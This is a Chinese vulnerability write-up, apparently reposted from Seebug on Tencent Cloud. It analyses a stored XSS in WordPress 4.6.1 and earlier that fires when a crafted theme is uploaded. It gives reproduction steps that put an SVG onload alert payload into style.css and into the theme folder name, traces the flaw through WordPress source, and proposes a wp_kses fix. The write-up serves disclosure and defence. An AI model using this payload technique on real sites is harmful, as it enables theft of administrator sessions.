前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Wordpress <= 4.6.1 使用主题文件触发存储型XSS 漏洞分析

Wordpress <= 4.6.1 使用主题文件触发存储型XSS 漏洞分析

作者头像
Seebug漏洞平台
发布2018-03-29 16:26:43
8500
发布2018-03-29 16:26:43
举报
文章被收录于专栏:Seebug漏洞平台

Author: p0wd3r (知道创宇404安全实验室)

0x00 漏洞概述

1.漏洞简介

WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统,近日研究者发现在其<=4.6.1版本中,通过上传恶意构造的主题文件可以触发一个后台存储型XSS漏洞。通过该漏洞,攻击者可以在能够上传主题文件的前提下执行获取管理员Cookie等敏感操作。

2.漏洞影响

在能够上传主题文件的前提下执行获取管理员Cookie等XSS可以进行的攻击,实际的攻击场景有以下两种:

  • 攻击者诱导管理员上传恶意构造的主题文件,且管理员并没有对文件进行检查
  • 攻击者拥有管理员权限可以直接上传主题文件,但既然已经有管理员权限再进行这样的攻击也就多此一举了

3.影响版本

<= 4.6.1

0x01 漏洞复现

1. 环境搭建

代码语言:javascript
复制
docker pull wordpress:4.6.1  docker pull mysql  
docker run --name wp-mysql -e MYSQL_ROOT_PASSWORD=hellowp -e MYSQL_DATABASE=wp -d mysql  
docker run --name wp --link wp-mysql:mysql -d wordpress  

2.漏洞分析

我们先随便下载一个主题:

代码语言:javascript
复制
wget https://downloads.wordpress.org/theme/illdy.1.0.29.zip  
unzip -x illdy.1.0.29.zip  

然后对illdy/style.css进行如下更改:

代码语言:javascript
复制
/*
Theme Name: <svg onload=alert(1234)>  
... DO NOT CHANGES HERE ...
*/

接着更改文件夹名字再打包:

代码语言:javascript
复制
mv illdy "<svg onload=alert(5678)>"  
zip -r theme.zip "<svg onload=alert(5678)>"  

构造好之后我们登录后台上传该主题文件,同时开始动态调试。

首先进入wp-admin/includes/class-theme-installer-skin.php中第55-82行:

代码语言:javascript
复制
$name = $theme_info->display('Name');
...

if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {  
    $install_actions['preview'] = '<a href="' . wp_customize_url( $stylesheet ). '" class="hide-if-no-customize load-customize"><span aria-hidden="true">' . __( 'Live Preview' ) . '</span><span class="screen-reader-text">' . sprintf( __( 'Live Preview &#8220;%s&#8221;' ), $name ) . '</span></a>';
}
$install_actions['activate'] = '<a href="' . esc_url( $activate_link ) . '" class="activatelink"><span aria-hidden="true">' . __( 'Activate' ) . '</span><span class="screen-reader-text">' . sprintf( __( 'Activate &#8220;%s&#8221;' ), $name ) . '</span></a>';

其中$theme_info的值如下:

其中stylesheettemplate的值为我们更改的文件夹名,headers.Name为更改的style.css中的Name$theme_info中有我们可控的payload,其调用display函数后赋值给$name$name直接与html拼接,所以关键点在display函数上,动态调试跟进到wp-includes/class-wp-theme.php中第630-646行:

代码语言:javascript
复制
public function display( $header, $markup = true, $translate = true ) {  
    $value = $this->get( $header );
    if ( false === $value ) {
        return false;
    }

    if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) )
        $translate = false;

    if ( $translate )
        $value = $this->translate_header( $header, $value );

    if ( $markup )
        $value = $this->markup_header( $header, $value, $translate );

    return $value;
}

由之前的调用可知,这里的$header的值为Name。首先看$this-get($header),在wp-includes/class-wp-theme.php中第594-617行:

代码语言:javascript
复制
public function get( $header ) {  
        ...
            $this->headers_sanitized[ $header ] = $this->sanitize_header( $header, $this->headers[ $header ] );
        ...
        return $this->headers_sanitized[ $header ];
    }

这里省略了与漏洞无关的部分,程序进入了$this->sanitize_header,在wp-includes/class-wp-theme.php第661-705行:

代码语言:javascript
复制
private function sanitize_header( $header, $value ) {  
    switch ( $header ) {
        ...
        case 'Name' :
            static $header_tags = array(
                'abbr'    => array( 'title' => true ),
                'acronym' => array( 'title' => true ),
                'code'    => true,
                'em'      => true,
                'strong'  => true,
            );
            $value = wp_kses( $value, $header_tags );
            break;
        ...
}

这里执行了Name这个分支,可以看到程序使用wp_kses$value的值进行了过滤,仅允许$header_tags中的html符号,所以我们headers.Name的值<svg onload=alert(1234)>是不合法的,$value值被赋为空。

然后程序回到了display函数,根据动态调试可以知道程序执行了$value = $this->markup_header( $header, $value, $translate );这个条件分支,再跟进,在wp-includes/class-wp-theme.php中第720-748行:

代码语言:javascript
复制
private function markup_header( $header, $value, $translate ) {  
    switch ( $header ) {
        case 'Name' :
            if ( empty( $value ) )
                $value = $this->get_stylesheet();
            break;
        ...
    return $value;
}

这里我们看到由于$value在之前被赋为空,导致此处$value被重新赋值为了$this->get_stylesheet(),也就是值为<svg onload=alert(5678)>stylesheet变量。最后返回的$value赋给了$name$name再与html拼接返回给客户端,从而触发了漏洞:

这个漏洞有趣的地方在于style.css中的payload其实起到的是一个障眼法的作用,正是因为<svg onload=alert(1234)>被过滤了才使$value被赋值成了我们真正的payload<svg onload=alert(5678)>。所以在构造主题文件的时候style.css和文件夹名这两个地方都要更改。

3.补丁分析

可能是由于利用条件十分苛刻,目前Wordpress官方还没有发布补丁,最新版Wordpress仍存在该漏洞。

0x02 修复方案

在官方发布补丁前,管理员应提高安全意识,不要轻易使用来路不明的主题。

对于开发者来说建议对$name进行合法性检查,例如这样:

代码语言:javascript
复制
$allowed_html = array(
    'em'      => true,
    'strong'  => true,
);
$name = wp_kses($name, $allowed_html);

0x03 参考

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2016-10-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Seebug漏洞平台 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 漏洞概述
    • 1.漏洞简介
      • 2.漏洞影响
        • 3.影响版本
        • 0x01 漏洞复现
          • 1. 环境搭建
            • 2.漏洞分析
              • 3.补丁分析
              • 0x02 修复方案
              • 0x03 参考
              相关产品与服务
              云数据库 SQL Server
              腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档